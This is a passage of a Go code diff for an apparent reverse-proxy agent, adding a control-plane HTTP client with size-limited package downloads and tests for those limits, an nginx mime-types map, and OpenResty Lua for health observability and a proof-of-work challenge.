Heartbeat(ctx context.Context, payload protocol.NodePayload) (*protocol.HeartbeatResult, error)
|
||||
SetToken(token string)
|
||||
}
|
||||
|
||||
// Service wraps a RemoteClient to expose agent registration and heartbeat operations.
|
||||
type Service struct {
|
||||
client RemoteClient
|
||||
}
|
||||
|
||||
// New creates a new Service backed by the given RemoteClient.
|
||||
func New(client RemoteClient) *Service {
|
||||
return &Service{client: client}
|
||||
}
|
||||
|
||||
// Register sends a node registration request to the server.
|
||||
func (s *Service) Register(ctx context.Context, payload protocol.NodePayload) (*protocol.RegisterNodeResponse, error) {
|
||||
return s.client.RegisterNode(ctx, payload)
|
||||
}
|
||||
|
||||
// Heartbeat sends a heartbeat to the server using the service client.
|
||||
func (s *Service) Heartbeat(ctx context.Context, payload protocol.NodePayload) (*protocol.HeartbeatResult, error) {
|
||||
return s.client.Heartbeat(ctx, payload)
|
||||
}
|
||||
|
||||
// SetToken sets the authentication token for the service client.
|
||||
func (s *Service) SetToken(token string) {
|
||||
s.client.SetToken(token)
|
||||
}
|
||||
@@ -0,0 +1,237 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package httpclient provides an authenticated HTTP client for the agent.
|
||||
package httpclient
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"time"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
edgehttp "Wavelet/openflare/share/edge/httpclient"
|
||||
)
|
||||
|
||||
const pagesControlResponseMaxBytes = int64(64 * 1024)
|
||||
|
||||
// Client is a HTTP client used by the agent to communicate with the control plane server.
|
||||
type Client struct {
|
||||
base *edgehttp.Client
|
||||
}
|
||||
|
||||
// New creates a new Client instance with the specified base URL, token, and timeout.
|
||||
func New(baseURL string, token string, timeout time.Duration) *Client {
|
||||
return &Client{
|
||||
base: edgehttp.New(baseURL, token, timeout, "X-Agent-Token"),
|
||||
}
|
||||
}
|
||||
|
||||
// RegisterNode registers the agent node with the control plane server.
|
||||
func (c *Client) RegisterNode(ctx context.Context, payload protocol.NodePayload) (*protocol.RegisterNodeResponse, error) {
|
||||
resp := protocol.APIResponse[protocol.RegisterNodeResponse]{}
|
||||
if err := c.base.PostJSON(ctx, "/api/v1/agent/nodes/register", payload, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp.Data, nil
|
||||
}
|
||||
|
||||
// Heartbeat sends a heartbeat payload to the control plane and returns the response result.
|
||||
func (c *Client) Heartbeat(ctx context.Context, payload protocol.NodePayload) (*protocol.HeartbeatResult, error) {
|
||||
resp := protocol.APIResponse[protocol.HeartbeatData]{}
|
||||
if err := c.base.PostJSON(ctx, "/api/v1/agent/nodes/heartbeat", payload, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &protocol.HeartbeatResult{
|
||||
AgentSettings: resp.Data.AgentSettings,
|
||||
ActiveConfig: resp.Data.ActiveConfig,
|
||||
WAFIPGroups: resp.Data.WAFIPGroups,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetActiveConfig retrieves the current active configuration from the control plane server.
|
||||
func (c *Client) GetActiveConfig(ctx context.Context) (*protocol.ActiveConfigResponse, error) {
|
||||
resp := protocol.APIResponse[protocol.ActiveConfigResponse]{}
|
||||
if err := c.base.GetJSON(ctx, "/api/v1/agent/config-versions/active", &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp.Data, nil
|
||||
}
|
||||
|
||||
// ReportApplyLog reports the configuration application logs back to the control plane.
|
||||
func (c *Client) ReportApplyLog(ctx context.Context, payload protocol.ApplyLogPayload) error {
|
||||
resp := protocol.APIResponse[json.RawMessage]{}
|
||||
if err := c.base.PostJSON(ctx, "/api/v1/agent/apply-logs", payload, &resp); err != nil {
|
||||
return err
|
||||
}
|
||||
return edgehttp.APIError(resp.ErrorMsg)
|
||||
}
|
||||
|
||||
// SyncWAFIPGroups synchronizes WAF IP groups with the control plane server.
|
||||
func (c *Client) SyncWAFIPGroups(ctx context.Context, payload protocol.WAFIPGroupSyncRequest) (*protocol.WAFIPGroupSyncResponse, error) {
|
||||
resp := protocol.APIResponse[protocol.WAFIPGroupSyncResponse]{}
|
||||
if err := c.base.PostJSON(ctx, "/api/v1/agent/waf/ip-groups/sync", payload, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp.Data, nil
|
||||
}
|
||||
|
||||
// GetPagesDeploymentHash returns the upload SHA-256 hash for the given Pages deployment ID.
|
||||
func (c *Client) GetPagesDeploymentHash(ctx context.Context, deploymentID uint) (string, error) {
|
||||
resp := protocol.APIResponse[protocol.PagesDeploymentHashResponse]{}
|
||||
if err := c.base.GetJSON(ctx, fmt.Sprintf("/api/v1/agent/pages/deployments/%d/hash", deploymentID), &resp); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return resp.Data.Hash, nil
|
||||
}
|
||||
|
||||
// DownloadPagesDeploymentPackage streams the deployment package into dst while
|
||||
// enforcing maxBytes against both advertised and actual response sizes.
|
||||
func (c *Client) DownloadPagesDeploymentPackage(
|
||||
ctx context.Context,
|
||||
deploymentID uint,
|
||||
dst io.Writer,
|
||||
maxBytes int64,
|
||||
) (int64, error) {
|
||||
return c.downloadPagesPackage(
|
||||
ctx,
|
||||
fmt.Sprintf("/api/v1/agent/pages/deployments/%d/package", deploymentID),
|
||||
dst,
|
||||
maxBytes,
|
||||
)
|
||||
}
|
||||
|
||||
// GetPagesProjectLatestHash returns the active deployment package hash for a Pages project.
|
||||
func (c *Client) GetPagesProjectLatestHash(ctx context.Context, projectID uint) (*protocol.PagesProjectLatestHashResponse, error) {
|
||||
res, err := c.base.DoRaw(
|
||||
ctx,
|
||||
http.MethodGet,
|
||||
fmt.Sprintf("/api/v1/agent/pages/projects/%d/latest/hash", projectID),
|
||||
nil,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer func() { _ = res.Body.Close() }()
|
||||
body, err := readPagesControlResponse(res, pagesControlResponseMaxBytes)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if res.StatusCode != http.StatusOK {
|
||||
return nil, edgehttp.ReadBodyError(body, res.Status)
|
||||
}
|
||||
resp := protocol.APIResponse[protocol.PagesProjectLatestHashResponse]{}
|
||||
if err := json.Unmarshal(body, &resp); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if err := edgehttp.APIError(resp.ErrorMsg); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &resp.Data, nil
|
||||
}
|
||||
|
||||
// DownloadPagesProjectLatestPackage streams the active deployment package into
|
||||
// dst while enforcing maxBytes against both advertised and actual sizes.
|
||||
func (c *Client) DownloadPagesProjectLatestPackage(
|
||||
ctx context.Context,
|
||||
projectID uint,
|
||||
dst io.Writer,
|
||||
maxBytes int64,
|
||||
) (int64, error) {
|
||||
return c.downloadPagesPackage(
|
||||
ctx,
|
||||
fmt.Sprintf("/api/v1/agent/pages/projects/%d/latest/package", projectID),
|
||||
dst,
|
||||
maxBytes,
|
||||
)
|
||||
}
|
||||
|
||||
func (c *Client) downloadPagesPackage(
|
||||
ctx context.Context,
|
||||
path string,
|
||||
dst io.Writer,
|
||||
maxBytes int64,
|
||||
) (int64, error) {
|
||||
if dst == nil {
|
||||
return 0, errors.New("pages package destination is required")
|
||||
}
|
||||
if maxBytes <= 0 {
|
||||
return 0, errors.New("pages package byte limit must be positive")
|
||||
}
|
||||
res, err := c.base.DoRaw(ctx, http.MethodGet, path, nil)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer func() { _ = res.Body.Close() }()
|
||||
if res.StatusCode != http.StatusOK {
|
||||
body, readErr := readPagesControlResponse(res, pagesControlResponseMaxBytes)
|
||||
if readErr != nil {
|
||||
return 0, readErr
|
||||
}
|
||||
return 0, edgehttp.ReadBodyError(body, res.Status)
|
||||
}
|
||||
return copyPagesPackageResponse(dst, res, maxBytes)
|
||||
}
|
||||
|
||||
func readPagesControlResponse(res *http.Response, maxBytes int64) ([]byte, error) {
|
||||
if res.ContentLength > maxBytes {
|
||||
return nil, fmt.Errorf(
|
||||
"pages control response Content-Length %d exceeds limit %d",
|
||||
res.ContentLength,
|
||||
maxBytes,
|
||||
)
|
||||
}
|
||||
limited := &io.LimitedReader{R: res.Body, N: maxBytes + 1}
|
||||
body, err := io.ReadAll(limited)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("read pages control response: %w", err)
|
||||
}
|
||||
if int64(len(body)) > maxBytes {
|
||||
return nil, fmt.Errorf("pages control response body exceeds limit %d", maxBytes)
|
||||
}
|
||||
return body, nil
|
||||
}
|
||||
|
||||
func copyPagesPackageResponse(dst io.Writer, res *http.Response, maxBytes int64) (int64, error) {
|
||||
if res.ContentLength > maxBytes {
|
||||
return 0, fmt.Errorf(
|
||||
"pages package Content-Length %d exceeds limit %d",
|
||||
res.ContentLength,
|
||||
maxBytes,
|
||||
)
|
||||
}
|
||||
|
||||
limited := &io.LimitedReader{R: res.Body, N: maxBytes + 1}
|
||||
written, err := io.Copy(dst, limited)
|
||||
if err != nil {
|
||||
return written, fmt.Errorf("stream pages package: %w", err)
|
||||
}
|
||||
if written > maxBytes {
|
||||
return written, fmt.Errorf("pages package body exceeds limit %d", maxBytes)
|
||||
}
|
||||
return written, nil
|
||||
}
|
||||
|
||||
// SetToken updates the authentication token used for API requests.
|
||||
func (c *Client) SetToken(token string) {
|
||||
c.base.SetToken(token)
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package httpclient
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestDownloadPagesProjectLatestPackageRejectsChunkedBodyOverLimit(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
if flusher, ok := w.(http.Flusher); ok {
|
||||
flusher.Flush()
|
||||
}
|
||||
_, _ = io.WriteString(w, "123456")
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := New(server.URL, "test-token", time.Second)
|
||||
var dst bytes.Buffer
|
||||
written, err := client.DownloadPagesProjectLatestPackage(
|
||||
context.Background(),
|
||||
7,
|
||||
&dst,
|
||||
4,
|
||||
)
|
||||
if err == nil || !strings.Contains(err.Error(), "body exceeds limit") {
|
||||
t.Fatalf("DownloadPagesProjectLatestPackage(chunked, limit=4) error = %v, want body limit error", err)
|
||||
}
|
||||
if written != 5 {
|
||||
t.Errorf("DownloadPagesProjectLatestPackage(chunked, limit=4) written = %d, want 5", written)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCopyPagesPackageResponseRejectsAdvertisedContentLengthBeforeWrite(t *testing.T) {
|
||||
response := &http.Response{
|
||||
Body: io.NopCloser(strings.NewReader("123456")),
|
||||
ContentLength: 6,
|
||||
}
|
||||
var dst bytes.Buffer
|
||||
written, err := copyPagesPackageResponse(&dst, response, 4)
|
||||
if err == nil || !strings.Contains(err.Error(), "Content-Length") {
|
||||
t.Fatalf("copyPagesPackageResponse(Content-Length=6, limit=4) error = %v, want Content-Length limit error", err)
|
||||
}
|
||||
if written != 0 || dst.Len() != 0 {
|
||||
t.Errorf("copyPagesPackageResponse(Content-Length=6, limit=4) wrote (%d, %d buffered), want no writes", written, dst.Len())
|
||||
}
|
||||
}
|
||||
|
||||
func TestCopyPagesPackageResponseRejectsForgedSmallContentLength(t *testing.T) {
|
||||
response := &http.Response{
|
||||
Body: io.NopCloser(strings.NewReader("123456")),
|
||||
ContentLength: 2,
|
||||
}
|
||||
var dst bytes.Buffer
|
||||
written, err := copyPagesPackageResponse(&dst, response, 4)
|
||||
if err == nil || !strings.Contains(err.Error(), "body exceeds limit") {
|
||||
t.Fatalf("copyPagesPackageResponse(forged Content-Length=2, limit=4) error = %v, want body limit error", err)
|
||||
}
|
||||
if written != 5 {
|
||||
t.Errorf("copyPagesPackageResponse(forged Content-Length=2, limit=4) written = %d, want 5", written)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDownloadPagesProjectLatestPackageBoundsChunkedErrorResponse(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusBadRequest)
|
||||
if flusher, ok := w.(http.Flusher); ok {
|
||||
flusher.Flush()
|
||||
}
|
||||
_, _ = io.WriteString(w, strings.Repeat("x", int(pagesControlResponseMaxBytes+1)))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := New(server.URL, "test-token", time.Second)
|
||||
var dst bytes.Buffer
|
||||
_, err := client.DownloadPagesProjectLatestPackage(context.Background(), 7, &dst, 1024)
|
||||
if err == nil || !strings.Contains(err.Error(), "control response body exceeds limit") {
|
||||
t.Fatalf("DownloadPagesProjectLatestPackage(large chunked 400) error = %v, want bounded response error", err)
|
||||
}
|
||||
if dst.Len() != 0 {
|
||||
t.Errorf("DownloadPagesProjectLatestPackage(large chunked 400) wrote %d package bytes, want 0", dst.Len())
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetPagesProjectLatestHashBoundsChunkedMetadataResponse(t *testing.T) {
|
||||
server := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
if flusher, ok := w.(http.Flusher); ok {
|
||||
flusher.Flush()
|
||||
}
|
||||
_, _ = io.WriteString(w, strings.Repeat("x", int(pagesControlResponseMaxBytes+1)))
|
||||
}))
|
||||
defer server.Close()
|
||||
|
||||
client := New(server.URL, "test-token", time.Second)
|
||||
_, err := client.GetPagesProjectLatestHash(context.Background(), 7)
|
||||
if err == nil || !strings.Contains(err.Error(), "control response body exceeds limit") {
|
||||
t.Fatalf("GetPagesProjectLatestHash(large chunked metadata) error = %v, want bounded response error", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
// Package logging configures structured logging for the agent process.
|
||||
package logging
|
||||
|
||||
import edgelogging "Wavelet/openflare/share/edge/logging"
|
||||
|
||||
// Setup initialises structured logging for the agent process.
|
||||
func Setup() {
|
||||
edgelogging.Setup(edgelogging.Options{AddSource: true})
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,102 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
// DefaultMimeTypes is the embedded nginx mime.types map used by generated configs.
|
||||
const DefaultMimeTypes = `
|
||||
types {
|
||||
text/html html htm shtml;
|
||||
text/css css;
|
||||
text/xml xml;
|
||||
image/gif gif;
|
||||
image/jpeg jpeg jpg;
|
||||
application/javascript js;
|
||||
application/atom+xml atom;
|
||||
application/rss+xml rss;
|
||||
|
||||
text/mathml mml;
|
||||
text/plain txt;
|
||||
text/vnd.sun.j2me.app-descriptor jad;
|
||||
text/vnd.wap.wml wml;
|
||||
text/x-component htc;
|
||||
|
||||
image/png png;
|
||||
image/svg+xml svg svgz;
|
||||
image/tiff tif tiff;
|
||||
image/vnd.wap.wbmp wbmp;
|
||||
image/webp webp;
|
||||
image/x-icon ico;
|
||||
image/x-jng jng;
|
||||
image/x-ms-bmp bmp;
|
||||
|
||||
application/font-woff woff;
|
||||
application/java-archive jar war ear;
|
||||
application/json json;
|
||||
application/mac-binhex40 hqx;
|
||||
application/msword doc;
|
||||
application/pdf pdf;
|
||||
application/postscript ps eps ai;
|
||||
application/rtf rtf;
|
||||
application/vnd.apple.mpegurl m3u8;
|
||||
application/vnd.google-earth.kml+xml kml;
|
||||
application/vnd.google-earth.kmz kmz;
|
||||
application/vnd.ms-excel xls;
|
||||
application/vnd.ms-fontobject eot;
|
||||
application/vnd.ms-powerpoint ppt;
|
||||
application/vnd.oasis.opendocument.graphics odg;
|
||||
application/vnd.oasis.opendocument.presentation odp;
|
||||
application/vnd.oasis.opendocument.spreadsheet ods;
|
||||
application/vnd.oasis.opendocument.text odt;
|
||||
application/vnd.openxmlformats-officedocument.presentationml.presentation
|
||||
pptx;
|
||||
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
|
||||
xlsx;
|
||||
application/vnd.openxmlformats-officedocument.wordprocessingml.document
|
||||
docx;
|
||||
application/vnd.wap.wmlc wmlc;
|
||||
application/x-7z-compressed 7z;
|
||||
application/x-cocoa cco;
|
||||
application/x-java-archive-diff jardiff;
|
||||
application/x-java-jnlp-file jnlp;
|
||||
application/x-makeself run;
|
||||
application/x-perl pl pm;
|
||||
application/x-pilot prc pdb;
|
||||
application/x-rar-compressed rar;
|
||||
application/x-redhat-package-manager rpm;
|
||||
application/x-sea sea;
|
||||
application/x-shockwave-flash swf;
|
||||
application/x-stuffit sit;
|
||||
application/x-tcl tcl tk;
|
||||
application/x-x509-ca-cert der pem crt;
|
||||
application/x-xpinstall xpi;
|
||||
application/xhtml+xml xhtml;
|
||||
application/xspf+xml xspf;
|
||||
application/zip zip;
|
||||
|
||||
application/octet-stream bin exe dll;
|
||||
application/octet-stream deb;
|
||||
application/octet-stream dmg;
|
||||
application/octet-stream iso img;
|
||||
application/octet-stream msi msp msm;
|
||||
|
||||
audio/midi mid midi kar;
|
||||
audio/mpeg mp3;
|
||||
audio/ogg ogg;
|
||||
audio/x-m4a m4a;
|
||||
audio/x-realaudio ra;
|
||||
|
||||
video/3gpp 3gpp 3gp;
|
||||
video/mp2t ts;
|
||||
video/mp4 mp4;
|
||||
video/mpeg mpeg mpg;
|
||||
video/quicktime mov;
|
||||
video/webm webm;
|
||||
video/x-flv flv;
|
||||
video/x-m4v m4v;
|
||||
video/x-mng mng;
|
||||
video/x-ms-asf asx asf;
|
||||
video/x-ms-wmv wmv;
|
||||
video/x-msvideo avi;
|
||||
}
|
||||
`
|
||||
@@ -0,0 +1,67 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import "Wavelet/openflare/plugins/agent/protocol"
|
||||
|
||||
// Local OpenResty observability endpoint (target model):
|
||||
// GET /openflare/observability returns instantaneous health/connections only.
|
||||
// Business traffic is collected exclusively from access.log.
|
||||
|
||||
const openRestyObservabilityInitLua = `return
|
||||
`
|
||||
|
||||
// log.lua no longer accumulates business counters (access.log is the authority).
|
||||
const openRestyObservabilityLogLua = `return
|
||||
`
|
||||
|
||||
// read.lua exposes stub_status-style connection gauges as JSON.
|
||||
const openRestyObservabilityReadLua = `local cjson = require "cjson.safe"
|
||||
|
||||
local function read_stub_status()
|
||||
local res = ngx.location.capture("/openflare/stub_status")
|
||||
if not res or res.status ~= 200 or not res.body then
|
||||
return nil
|
||||
end
|
||||
local body = res.body
|
||||
local active = tonumber(string.match(body, "Active connections:%s*(%d+)")) or 0
|
||||
local reading = tonumber(string.match(body, "Reading:%s*(%d+)")) or 0
|
||||
local writing = tonumber(string.match(body, "Writing:%s*(%d+)")) or 0
|
||||
local waiting = tonumber(string.match(body, "Waiting:%s*(%d+)")) or 0
|
||||
return {
|
||||
active = active,
|
||||
reading = reading,
|
||||
writing = writing,
|
||||
waiting = waiting
|
||||
}
|
||||
end
|
||||
|
||||
local connections = read_stub_status()
|
||||
local payload = {
|
||||
ok = connections ~= nil,
|
||||
captured_at_unix = ngx.time(),
|
||||
connections = connections or {
|
||||
active = 0,
|
||||
reading = 0,
|
||||
writing = 0,
|
||||
waiting = 0
|
||||
}
|
||||
}
|
||||
|
||||
ngx.header.content_type = "application/json"
|
||||
ngx.status = ngx.HTTP_OK
|
||||
ngx.say(cjson.encode(payload))
|
||||
`
|
||||
|
||||
// ManagedObservabilityLuaFiles returns embedded Lua assets for OpenResty observability.
|
||||
func ManagedObservabilityLuaFiles() []protocol.SupportFile {
|
||||
return []protocol.SupportFile{
|
||||
{Path: "init.lua", Content: openRestyObservabilityInitLua},
|
||||
{Path: "log.lua", Content: openRestyObservabilityLogLua},
|
||||
{Path: "read.lua", Content: openRestyObservabilityReadLua},
|
||||
{Path: "observability/init.lua", Content: openRestyObservabilityInitLua},
|
||||
{Path: "observability/log.lua", Content: openRestyObservabilityLogLua},
|
||||
{Path: "observability/read.lua", Content: openRestyObservabilityReadLua},
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,38 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestManagedObservabilityLuaIsHealthOnly(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
files := ManagedObservabilityLuaFiles()
|
||||
var logLua, readLua string
|
||||
for _, file := range files {
|
||||
switch file.Path {
|
||||
case "log.lua":
|
||||
logLua = file.Content
|
||||
case "read.lua":
|
||||
readLua = file.Content
|
||||
}
|
||||
}
|
||||
if logLua == "" || readLua == "" {
|
||||
t.Fatal("expected log.lua and read.lua")
|
||||
}
|
||||
// Business counters must not be written in log phase.
|
||||
if strings.Contains(logLua, "openresty_rx_bytes") ||
|
||||
strings.Contains(logLua, "request_count") {
|
||||
t.Fatal("log.lua must not accumulate business counters")
|
||||
}
|
||||
if !strings.Contains(readLua, "connections") || !strings.Contains(readLua, "ok") {
|
||||
t.Fatal("read.lua must expose ok + connections health snapshot")
|
||||
}
|
||||
if strings.Contains(readLua, "top_domains") || strings.Contains(readLua, "request_count") {
|
||||
t.Fatal("read.lua must not expose business traffic aggregates")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,694 @@
|
||||
// Copyright 2026 Arctel.net
|
||||
// SPDX-License-Identifier: Apache-2.0
|
||||
|
||||
package nginx
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"Wavelet/openflare/plugins/agent/protocol"
|
||||
)
|
||||
|
||||
//go:embed pow_static
|
||||
var powStaticFS embed.FS
|
||||
|
||||
const openRestyPowRuntimeLua = `local _M = {}
|
||||
|
||||
local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
local policy = require "pow.policy"
|
||||
local pow_sessions = ngx.shared.openflare_pow_sessions
|
||||
local pow_config_dict = ngx.shared.openflare_pow_config
|
||||
local cjson = require "cjson.safe"
|
||||
|
||||
local function session_cookie(value, ttl)
|
||||
local cookie = "__openflare_pow=" .. value .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(ttl)
|
||||
if ngx.var.scheme == "https" then cookie = cookie .. "; Secure" end
|
||||
return cookie
|
||||
end
|
||||
|
||||
-- evaluate is called by a DAG pow node. true continues along its next edge;
|
||||
-- false means the challenge flow has taken ownership of the request.
|
||||
function _M.evaluate(config)
|
||||
config = config or {}
|
||||
ngx.ctx.openflare_pow_config = config
|
||||
|
||||
local host = ngx.var.host
|
||||
if not host or host == "" then return true end
|
||||
local session_ttl = config.session_ttl or 600
|
||||
local uri = ngx.var.uri or ""
|
||||
local ua = ngx.var.http_user_agent or ""
|
||||
local remote_ip = ngx.var.remote_addr or ""
|
||||
|
||||
if policy.match_any(remote_ip, ua, uri, config.whitelist or {}) then return true end
|
||||
local blacklist = config.blacklist or {}
|
||||
if policy.has_entries(blacklist) and not policy.match_any(remote_ip, ua, uri, blacklist) then return true end
|
||||
|
||||
local cookie_val = ngx.var["cookie___openflare_pow"]
|
||||
if cookie_val and cookie_val ~= "" then
|
||||
local session_key = host .. ":" .. cookie_val
|
||||
if pow_sessions:get(session_key) then
|
||||
pow_sessions:set(session_key, "1", session_ttl)
|
||||
ngx.header["Set-Cookie"] = session_cookie(cookie_val, session_ttl)
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
local api_prefix = "/.within.website/x/cmd/anubis/api/"
|
||||
local static_prefix = "/.within.website/x/cmd/anubis/static/"
|
||||
if string.sub(uri, 1, #api_prefix) == api_prefix or string.sub(uri, 1, #static_prefix) == static_prefix then
|
||||
return false
|
||||
end
|
||||
|
||||
local config_key = "_request_config:" .. (ngx.var.request_id or ngx.md5(host .. uri .. tostring(ngx.now())))
|
||||
pow_config_dict:set(config_key, cjson.encode(config), config.challenge_ttl or 300)
|
||||
local challenge_args = {
|
||||
redir = ngx.var.scheme .. "://" .. host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or ""),
|
||||
host = host,
|
||||
openflare_pow_config_key = config_key,
|
||||
}
|
||||
ngx.req.set_uri_args(challenge_args)
|
||||
ngx.exec("/.within.website/x/cmd/anubis/api/make-challenge", challenge_args)
|
||||
return false
|
||||
end
|
||||
|
||||
-- Compatibility entrypoint for old rendered routes. PoW selection now belongs
|
||||
-- exclusively to WAF graph nodes, so this function intentionally does nothing.
|
||||
function _M.check()
|
||||
return true
|
||||
end
|
||||
|
||||
return _M
|
||||
`
|
||||
|
||||
/* Removed legacy request-time configuration scanner. Graph execution now calls
|
||||
evaluate(config) with the reached node.
|
||||
local source = debug.getinfo(1, "S").source or ""
|
||||
if string.sub(source, 1, 1) == "@" then
|
||||
local script_path = string.sub(source, 2)
|
||||
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
|
||||
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
|
||||
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
|
||||
end
|
||||
end
|
||||
|
||||
local cjson = require "cjson.safe"
|
||||
local policy = require "pow.policy"
|
||||
|
||||
local pow_config_dict = ngx.shared.openflare_pow_config
|
||||
local pow_sessions = ngx.shared.openflare_pow_sessions
|
||||
|
||||
local function session_cookie(value, ttl)
|
||||
local cookie = "__openflare_pow=" .. value .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(ttl)
|
||||
if ngx.var.scheme == "https" then
|
||||
cookie = cookie .. "; Secure"
|
||||
end
|
||||
return cookie
|
||||
end
|
||||
|
||||
-- Lazy-load pow_config from file; reload when content changes
|
||||
local function load_pow_config()
|
||||
local config_paths = {
|
||||
"__OPENFLARE_RUNTIME_CONFIG_DIR__/waf_config.json",
|
||||
"/etc/nginx/openflare-lua/waf_config.json",
|
||||
"/usr/local/openresty/nginx/conf/waf_config.json"
|
||||
}
|
||||
for _, config_path in ipairs(config_paths) do
|
||||
local f = io.open(config_path, "r")
|
||||
if f then
|
||||
local content = f:read("*a")
|
||||
f:close()
|
||||
local current_hash = ngx.md5(content or "")
|
||||
|
||||
if current_hash == pow_config_dict:get("_config_hash") then
|
||||
return
|
||||
end
|
||||
|
||||
-- Clear old domain/site entries
|
||||
local old_keys = pow_config_dict:get("_domain_keys")
|
||||
if old_keys then
|
||||
for domain in string.gmatch(old_keys, "[^\n]+") do
|
||||
pow_config_dict:delete(domain)
|
||||
end
|
||||
end
|
||||
|
||||
local domain_keys = {}
|
||||
if content and content ~= "" and content ~= "{}" then
|
||||
local ok, decoded = pcall(cjson.decode, content)
|
||||
if ok and decoded and decoded.rule_groups and decoded.site_rule_groups then
|
||||
-- Build rule groups map (group ID -> PoWConfig)
|
||||
local groups = {}
|
||||
for _, group in ipairs(decoded.rule_groups) do
|
||||
if group.pow_enabled then
|
||||
groups[tostring(group.id)] = group.pow_config or {}
|
||||
end
|
||||
end
|
||||
-- Build site name to pow_config map
|
||||
for site, group_ids in pairs(decoded.site_rule_groups) do
|
||||
local pow_config = nil
|
||||
-- Check custom group IDs first
|
||||
for _, id in ipairs(group_ids) do
|
||||
pow_config = groups[tostring(id)]
|
||||
if pow_config then
|
||||
break
|
||||
end
|
||||
end
|
||||
-- If not found, check global group IDs
|
||||
if not pow_config then
|
||||
for _, group in ipairs(decoded.rule_groups) do
|
||||
if group.is_global and group.pow_enabled then
|
||||
pow_config = group.pow_config or {}
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
if pow_config ~= nil then
|
||||
pow_config_dict:set(site, cjson.encode({enabled = true, config = pow_config}), 0)
|
||||
domain_keys[#domain_keys+1] = site
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
pow_config_dict:set("_domain_keys", table.concat(domain_keys, "\n"), 0)
|
||||
pow_config_dict:set("_config_hash", current_hash, 0)
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
if pow_config_dict:add("_pow_unreadable_config_logged", true, 60) then
|
||||
